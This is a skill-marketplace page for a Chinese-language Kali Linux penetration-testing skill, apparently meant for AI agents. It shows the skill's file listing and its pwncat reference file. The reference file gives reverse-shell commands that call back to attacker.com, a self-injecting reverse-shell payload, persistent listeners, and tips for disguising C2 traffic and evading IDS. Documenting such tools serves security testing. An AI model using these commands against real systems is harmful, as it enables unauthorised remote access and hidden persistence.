Skip to content

x-glacier/kali-pentest / kali-pentest-zh

kali-pentest-zh

Flagged

通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。

FileKindSize
SKILL.mdskill md15.6 KB
references/cloud-native/README.mdmarkdown4.2 KB
references/cloud-native/tools/azurehound.mdmarkdown4.0 KB
references/cloud-native/tools/docker-bench-security.mdmarkdown1.9 KB
references/cloud-native/tools/kube-bench.mdmarkdown1.7 KB
references/cloud-native/tools/kubescape.mdmarkdown1.7 KB
references/cloud-native/tools/pacu.mdmarkdown3.0 KB
references/cloud-native/tools/peirates.mdmarkdown6.4 KB
references/cloud-native/tools/prowler.mdmarkdown1.5 KB
references/cloud-native/tools/scoutsuite.mdmarkdown1.2 KB
references/environment/README.mdmarkdown1.4 KB
references/environment/docker-mode-networking.mdmarkdown2.2 KB
references/environment/docker-mode-persistent-container.mdmarkdown3.8 KB
references/environment/docker-mode.mdmarkdown2.0 KB
references/environment/local-mode.mdmarkdown946 B
references/environment/server-mode.mdmarkdown4.1 KB
references/environment/state-files.mdmarkdown2.3 KB
references/exploitation/README.mdmarkdown9.6 KB
references/exploitation/tools/chisel.mdmarkdown3.2 KB
references/exploitation/tools/coercer.mdmarkdown2.5 KB
references/exploitation/tools/dns2tcp.mdmarkdown3.8 KB
references/exploitation/tools/evil-winrm.mdmarkdown2.9 KB
references/exploitation/tools/evilginx2.mdmarkdown2.2 KB
references/exploitation/tools/getsploit.mdmarkdown2.0 KB
references/exploitation/tools/gophish.mdmarkdown6.1 KB
references/exploitation/tools/impacket.mdmarkdown10.9 KB
references/exploitation/tools/iodine.mdmarkdown3.5 KB
references/exploitation/tools/ligolo-ng.mdmarkdown3.3 KB
references/exploitation/tools/metasploit.mdmarkdown11.0 KB
references/exploitation/tools/mitm6.mdmarkdown2.6 KB
references/exploitation/tools/msfconsole.mdmarkdown3.9 KB
references/exploitation/tools/msfvenom.mdmarkdown8.5 KB
references/exploitation/tools/mssqlpwner.mdmarkdown2.5 KB
references/exploitation/tools/netcat.mdmarkdown4.4 KB
references/exploitation/tools/odat.mdmarkdown3.0 KB
references/exploitation/tools/proxytunnel.mdmarkdown2.2 KB
references/exploitation/tools/routersploit.mdmarkdown2.9 KB
references/exploitation/tools/searchsploit.mdmarkdown4.7 KB
references/exploitation/tools/setoolkit.mdmarkdown1015 B
references/exploitation/tools/smbclient.mdmarkdown2.8 KB
references/exploitation/tools/socat.mdmarkdown2.8 KB
references/exploitation/tools/veil.mdmarkdown2.9 KB
references/forensics/README.mdmarkdown8.8 KB
references/forensics/tools/bulk-extractor.mdmarkdown4.5 KB
references/forensics/tools/chainsaw.mdmarkdown2.6 KB
references/forensics/tools/chkrootkit.mdmarkdown2.6 KB
references/forensics/tools/dc3dd.mdmarkdown2.9 KB
references/forensics/tools/dcfldd.mdmarkdown3.2 KB
references/forensics/tools/ddrescue.mdmarkdown3.6 KB
references/forensics/tools/exiftool.mdmarkdown2.5 KB
references/forensics/tools/foremost.mdmarkdown2.4 KB
references/forensics/tools/hashdeep.mdmarkdown3.5 KB
references/forensics/tools/plaso.mdmarkdown3.7 KB
references/forensics/tools/regripper.mdmarkdown3.4 KB
references/forensics/tools/rkhunter.mdmarkdown3.4 KB
references/forensics/tools/scalpel.mdmarkdown2.6 KB
references/forensics/tools/sleuthkit.mdmarkdown4.0 KB
references/forensics/tools/ssdeep.mdmarkdown3.1 KB
references/forensics/tools/steghide.mdmarkdown2.8 KB
references/forensics/tools/stegseek.mdmarkdown2.5 KB
references/forensics/tools/tcpdump.mdmarkdown2.8 KB
references/forensics/tools/tcpflow.mdmarkdown3.4 KB
references/forensics/tools/testdisk.mdmarkdown3.0 KB
references/forensics/tools/tshark.mdmarkdown3.0 KB
references/forensics/tools/volatility.mdmarkdown5.0 KB
references/forensics/tools/yara.mdmarkdown3.3 KB
references/information-gathering/README.mdmarkdown15.6 KB
references/information-gathering/tools/altdns.mdmarkdown1.9 KB
references/information-gathering/tools/amass.mdmarkdown9.1 KB
references/information-gathering/tools/arp-scan.mdmarkdown1.9 KB
references/information-gathering/tools/assetfinder.mdmarkdown1.9 KB
references/information-gathering/tools/autorecon.mdmarkdown2.9 KB
references/information-gathering/tools/certgraph.mdmarkdown3.3 KB
references/information-gathering/tools/cloud-enum.mdmarkdown2.1 KB
references/information-gathering/tools/cloudbrute.mdmarkdown2.1 KB
references/information-gathering/tools/dig.mdmarkdown2.3 KB
references/information-gathering/tools/dmitry.mdmarkdown2.0 KB
references/information-gathering/tools/dnsenum.mdmarkdown1.7 KB
references/information-gathering/tools/dnsgen.mdmarkdown1.5 KB
references/information-gathering/tools/dnsmap.mdmarkdown1.8 KB
references/information-gathering/tools/dnsrecon.mdmarkdown2.7 KB
references/information-gathering/tools/dnstwist.mdmarkdown3.0 KB
references/information-gathering/tools/dnsx.mdmarkdown2.8 KB
references/information-gathering/tools/eyewitness.mdmarkdown2.4 KB
references/information-gathering/tools/fierce.mdmarkdown2.5 KB
references/information-gathering/tools/finalrecon.mdmarkdown2.4 KB
references/information-gathering/tools/findomain.mdmarkdown2.5 KB
references/information-gathering/tools/fping.mdmarkdown2.3 KB
references/information-gathering/tools/getallurls.mdmarkdown2.4 KB
references/information-gathering/tools/gowitness.mdmarkdown4.8 KB
references/information-gathering/tools/h8mail.mdmarkdown3.9 KB
references/information-gathering/tools/hakrawler.mdmarkdown2.3 KB
references/information-gathering/tools/hosthunter.mdmarkdown2.6 KB
references/information-gathering/tools/httprobe.mdmarkdown2.1 KB
references/information-gathering/tools/httpx.mdmarkdown4.6 KB
references/information-gathering/tools/ldeep.mdmarkdown4.9 KB
references/information-gathering/tools/masscan.mdmarkdown3.8 KB
references/information-gathering/tools/massdns.mdmarkdown1.9 KB
references/information-gathering/tools/metagoofil.mdmarkdown3.0 KB
references/information-gathering/tools/naabu.mdmarkdown2.7 KB
references/information-gathering/tools/nbtscan.mdmarkdown2.2 KB
references/information-gathering/tools/netdiscover.mdmarkdown2.6 KB
references/information-gathering/tools/nmap.mdmarkdown8.4 KB
references/information-gathering/tools/p0f.mdmarkdown2.1 KB
references/information-gathering/tools/recon-ng.mdmarkdown6.6 KB
references/information-gathering/tools/sherlock.mdmarkdown3.7 KB
references/information-gathering/tools/shodan.mdmarkdown3.6 KB
references/information-gathering/tools/spiderfoot.mdmarkdown2.7 KB
references/information-gathering/tools/subfinder.mdmarkdown2.5 KB
references/information-gathering/tools/sublist3r.mdmarkdown1.9 KB
references/information-gathering/tools/theHarvester.mdmarkdown2.9 KB
references/information-gathering/tools/trufflehog.mdmarkdown3.1 KB
references/information-gathering/tools/wafw00f.mdmarkdown1.9 KB
references/information-gathering/tools/whatweb.mdmarkdown5.1 KB
references/information-gathering/tools/whois.mdmarkdown2.0 KB
references/password/README.mdmarkdown11.8 KB
references/password/tools/brutespray.mdmarkdown2.8 KB
references/password/tools/cewl.mdmarkdown2.1 KB
references/password/tools/changeme.mdmarkdown3.0 KB
references/password/tools/chntpw.mdmarkdown2.5 KB
references/password/tools/crowbar.mdmarkdown2.6 KB
references/password/tools/crunch.mdmarkdown2.7 KB
references/password/tools/fcrackzip.mdmarkdown2.3 KB
references/password/tools/gpp-decrypt.mdmarkdown2.6 KB
references/password/tools/hashcat.mdmarkdown4.6 KB
references/password/tools/hashid.mdmarkdown2.1 KB
references/password/tools/hydra.mdmarkdown4.4 KB
references/password/tools/john.mdmarkdown3.2 KB
references/password/tools/kerbrute.mdmarkdown2.8 KB
references/password/tools/medusa.mdmarkdown3.3 KB
references/password/tools/name-that-hash.mdmarkdown3.2 KB
references/password/tools/ncrack.mdmarkdown3.3 KB
references/password/tools/netexec.mdmarkdown3.2 KB
references/password/tools/patator.mdmarkdown2.2 KB
references/password/tools/pdfcrack.mdmarkdown2.9 KB
references/password/tools/rainbowcrack.mdmarkdown2.9 KB
references/password/tools/responder.mdmarkdown2.7 KB
references/playbooks/README.mdmarkdown8.1 KB
references/playbooks/active-directory.mdmarkdown14.0 KB
references/playbooks/api-security.mdmarkdown18.6 KB
references/playbooks/cloud-native-assessment.mdmarkdown17.6 KB
references/playbooks/external-attack-surface.mdmarkdown8.1 KB
references/playbooks/forensics-triage.mdmarkdown11.7 KB
references/playbooks/internal-network-protocols.mdmarkdown6.5 KB
references/playbooks/internal-network.mdmarkdown14.4 KB
references/playbooks/mobile-application.mdmarkdown9.8 KB
references/playbooks/password-audit.mdmarkdown9.0 KB
references/playbooks/post-exploitation.mdmarkdown11.4 KB
references/playbooks/reporting-workflow.mdmarkdown6.3 KB
references/playbooks/rfid-nfc.mdmarkdown7.2 KB
references/playbooks/source-code-audit.mdmarkdown8.4 KB
references/playbooks/voip-ics.mdmarkdown17.3 KB
references/playbooks/web-application.mdmarkdown14.7 KB
references/playbooks/wireless-assessment.mdmarkdown9.6 KB
references/post-exploitation/README.mdmarkdown11.0 KB
references/post-exploitation/tools/bloodhound.mdmarkdown4.8 KB
references/post-exploitation/tools/bloodhound.py.mdmarkdown4.0 KB
references/post-exploitation/tools/bloodyad.mdmarkdown4.1 KB
references/post-exploitation/tools/certipy-ad.mdmarkdown3.2 KB
references/post-exploitation/tools/dnscat2.mdmarkdown3.5 KB
references/post-exploitation/tools/dploot.mdmarkdown4.2 KB
references/post-exploitation/tools/havoc.mdmarkdown3.8 KB
references/post-exploitation/tools/hekatomb.mdmarkdown3.0 KB
references/post-exploitation/tools/krbrelayx.mdmarkdown7.3 KB
references/post-exploitation/tools/lapsdumper.mdmarkdown2.4 KB
references/post-exploitation/tools/linpeas.mdmarkdown3.6 KB
references/post-exploitation/tools/linux-exploit-suggester.mdmarkdown2.8 KB
references/post-exploitation/tools/lsassy.mdmarkdown2.8 KB
references/post-exploitation/tools/mimikatz.mdmarkdown4.2 KB
references/post-exploitation/tools/powershell-empire.mdmarkdown4.0 KB
references/post-exploitation/tools/powersploit.mdmarkdown5.5 KB
references/post-exploitation/tools/proxychains.mdmarkdown2.1 KB
references/post-exploitation/tools/pspy.mdmarkdown2.8 KB
references/post-exploitation/tools/pwncat.mdmarkdown6.4 KB
references/post-exploitation/tools/sliver.mdmarkdown1.4 KB
references/post-exploitation/tools/sshuttle.mdmarkdown3.2 KB
references/post-exploitation/tools/winpeas.mdmarkdown3.0 KB
references/reporting/README.mdmarkdown2.5 KB
references/reporting/tools/pandoc.mdmarkdown3.2 KB
references/reporting/tools/report-template.mdmarkdown8.5 KB
references/reverse-engineering/README.mdmarkdown5.6 KB
references/reverse-engineering/tools/apktool.mdmarkdown1.8 KB
references/reverse-engineering/tools/binwalk.mdmarkdown3.0 KB
references/reverse-engineering/tools/checksec.mdmarkdown3.5 KB
references/reverse-engineering/tools/dex2jar.mdmarkdown3.2 KB
references/reverse-engineering/tools/frida.mdmarkdown2.4 KB
references/reverse-engineering/tools/ghidra-headless.mdmarkdown3.0 KB
references/reverse-engineering/tools/jadx.mdmarkdown2.2 KB
references/reverse-engineering/tools/ldd.mdmarkdown1.9 KB
references/reverse-engineering/tools/nm.mdmarkdown2.3 KB
references/reverse-engineering/tools/objdump.mdmarkdown2.5 KB
references/reverse-engineering/tools/objection.mdmarkdown3.0 KB
references/reverse-engineering/tools/rabin2.mdmarkdown2.3 KB
references/reverse-engineering/tools/radare2.mdmarkdown1.3 KB
references/reverse-engineering/tools/readelf.mdmarkdown2.3 KB
references/reverse-engineering/tools/ropper.mdmarkdown4.1 KB
references/reverse-engineering/tools/strings.mdmarkdown2.3 KB
references/reverse-engineering/tools/xxd.mdmarkdown2.3 KB
references/rfid-nfc/README.mdmarkdown2.7 KB
references/rfid-nfc/tools/libnfc.mdmarkdown2.2 KB

references/post-exploitation/tools/pwncat.md

View on GitHub
# pwncat

- **Category**: Post-Exploitation / Reverse Shell & Tunneling
- **Risk Level**: 🔴 High

---

## 描述

pwncat(cytopia 开发)是一款用 Python 编写的增强型 netcat 实现。它有四种运行模式:连接(connect)、监听(listen)、零 I/O(端口扫描)和转发(本地/远程端口转发)。除基本 netcat 功能外,pwncat 提供 IDS/IPS 规避技术、反向 Shell payload 自注入、用于数据操作的脚本钩子,以及保持连接、重连和基于 ping 的健康检查等高级连接管理功能。

该工具用于后渗透阶段建立反向 Shell、网络跳板转发、端口扫描、banner 抓取和流量隧道。其规避能力使其适用于存在网络安全监控的渗透测试场景。

## 安装

```bash
sudo apt install pwncat
```

## 参数说明

| 参数 | 说明 |
|------|------|
| `-l`, `--listen` | 监听模式(启动服务端) |
| `-z`, `--zero` | 零 I/O 模式(端口扫描) |
| `-L`, `--local [addr:]port` | 本地转发模式(将远程流量代理到本地端口) |
| `-R`, `--remote addr:port` | 远程转发模式(通过两个连接的客户端代理流量) |
| `-e`, `--exec cmd` | 连接或监听时执行 shell 命令 |
| `-C`, `--crlf lf` | 强制行尾替换(lf/crlf/cr/no) |
| `-n`, `--nodns` | 不解析 DNS |
| `--send-on-eof` | 缓冲所有 stdin 直到 EOF,然后一次性发送 |
| `--no-shutdown` | 不进入半双工模式 |
| `-v`, `--verbose` | 详细输出(可叠加:-v、-vv、-vvv) |
| `--info type` | 显示 socket/IPv4/IPv6/TCP 连接信息 |
| `-c`, `--color str` | 彩色输出(always/never/auto) |
| `--safe-word str` | 安全词,用于终止 keep-open 或重连循环 |
| `-4` | 仅使用 IPv4 |
| `-6` | 仅使用 IPv6 |
| `-u`, `--udp` | 使用 UDP 而非 TCP |
| `-T`, `--tos str` | 设置 IP 服务类型字段 |
| `--http` | 使用 HTTP CONNECT 方法连接 |
| `--https` | 使用 HTTPS CONNECT 方法连接 |
| `-H`, `--header [str ...]` | 使用 `--http(s)` 时添加自定义 HTTP 头(可接受多个值) |
| `--self-inject cmd:host:port[s]` | 自注入反向 Shell payload |
| `--script-send file` | 发送前修改数据的脚本 |
| `--script-recv file` | 接收后修改数据的脚本 |
| `--banner` | Banner 抓取(零 I/O 模式) |
| `-k`, `--keep-open` | 客户端断开后保持监听 |
| `--rebind [x]` | 在同一端口重新绑定 x 次(监听模式) |
| `--rebind-wait s` | 重新初始化尝试之间等待 s 秒(默认:1) |
| `--rebind-robin port` | 以轮询模式打乱端口顺序,在重绑定失败时尝试绑定(需配合 `--rebind`) |
| `--source-addr addr` | 连接模式下绑定到指定源 IP |
| `--source-port port` | 连接模式下绑定到指定源端口 |
| `--reconn [x]` | 连接失败时重连 x 次 |
| `--reconn-wait s` | 重连尝试之间的等待秒数 |
| `--reconn-robin port` | 以轮询模式打乱端口顺序进行重连(需配合 `--reconn`);可规避封锁出站端口的 IPS |
| `--ping-init` | 连接时发送初始 ping(使 UDP 反向 Shell 可用) |
| `--ping-intvl s` | 保活 ping 间隔秒数 |
| `--ping-word str` | 用于 UDP ping 数据包的字符/字符串(默认:`\0`) |
| `--ping-robin port` | 以轮询模式打乱指定端口顺序供服务端 ping(扫描允许出站的端口) |
| `--udp-sconnect` | 通过发送初始数据包验证连接来模拟 UDP 连接阶段的有状态行为(仅 UDP) |
| `--udp-sconnect-word [str]` | 更改 UDP 有状态连接发送的数据;省略字符串则发送空/EOF 数据包(默认:`\0`) |

## 常用命令

### 场景 1:基础反向 Shell 监听器

```bash
pwncat -l 4444 -e /bin/bash
```

在端口 4444 启动监听器,客户端连接时生成 bash shell。

### 场景 2:回连反向 Shell

```bash
pwncat --exec /bin/bash --reconn 5 --reconn-wait 3 attacker.com 4444
```

连接到攻击者的监听器并提供 shell。连接断开时自动重连最多 5 次,间隔 3 秒。

### 场景 3:端口扫描

```bash
pwncat -z target.com 1-1024
```

以零 I/O 模式扫描目标的 1-1024 端口(不传输数据)。

### 场景 4:Banner 抓取

```bash
pwncat -z --banner target.com 22,80,443
```

连接到指定端口并获取服务 banner,不发送数据。

### 场景 5:本地端口转发

```bash
pwncat -L 0.0.0.0:8080 internal-host.local 80
```

将到达本地 8080 端口的流量转发到 internal-host.local:80,实现通过被攻陷主机的跳板转发。

### 场景 6:使用 Keep-Open 的持久监听器

```bash
pwncat -l -k 4444 -e /bin/sh --safe-word "QUIT"
```

每个客户端断开后保持监听等待新连接。发送安全词 "QUIT" 可终止监听器。

### 场景 7:通过 HTTP CONNECT 代理规避检测

```bash
pwncat --https -H "X-Custom: legit" attacker.com 443
```

通过 HTTPS CONNECT 方法隧道连接,使用自定义头伪装为正常 Web 流量。

### 场景 8:自注入反向 Shell

```bash
pwncat --self-inject /bin/bash:attacker.com:4444 target.com 80
```

注入反向 Shell payload,回连到 attacker.com:4444。

### 场景 9:UDP 监听器

```bash
pwncat -l -u 5353
```

在 UDP 端口 5353 监听传入数据报。

### 场景 10:使用脚本进行数据操作

```bash
pwncat --script-send encode.py --script-recv decode.py attacker.com 4444
```

对流量应用自定义编码/解码脚本,用于混淆或协议封装。

## 注意事项

1. 这是 cytopia 的 pwncat(增强型 netcat),不是 calebstewart 的 pwncat-cs(后渗透框架)。它们是完全不同的工具。
2. `--reconn` 参数对维持持久访问至关重要——连接断开时 pwncat 会自动重新建立连接。
3. 在监听器上使用 `--keep-open` 可处理多个顺序连接而无需重启。
4. 结合 `--http` 或 `--https` 与 `-H` 头可将 C2 流量伪装为合法 Web 请求。
5. `--self-inject` 功能可自动生成并发送反向 Shell payload——适用于链式利用。
6. 管道传输文件时使用 `--send-on-eof` 确保整个 payload 作为一个块发送。
7. `--safe-word` 选项提供了一种远程干净终止持久监听器的方式。
8. 隐蔽端口扫描时,结合 `-z` 与 `--reconn-wait` 在连接尝试之间添加延迟。
9. 测试时始终使用 `-vvv` 获取完整诊断输出,便于排查连接问题。
10. 此工具可被 IDS 检测——使用脚本钩子和 HTTP 隧道功能降低特征可见性。

---

## 官方参考

- [pwncat GitHub Repository (cytopia)](https://github.com/cytopia/pwncat)
- [pwncat Kali Tools Page](https://www.kali.org/tools/pwncat/)
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall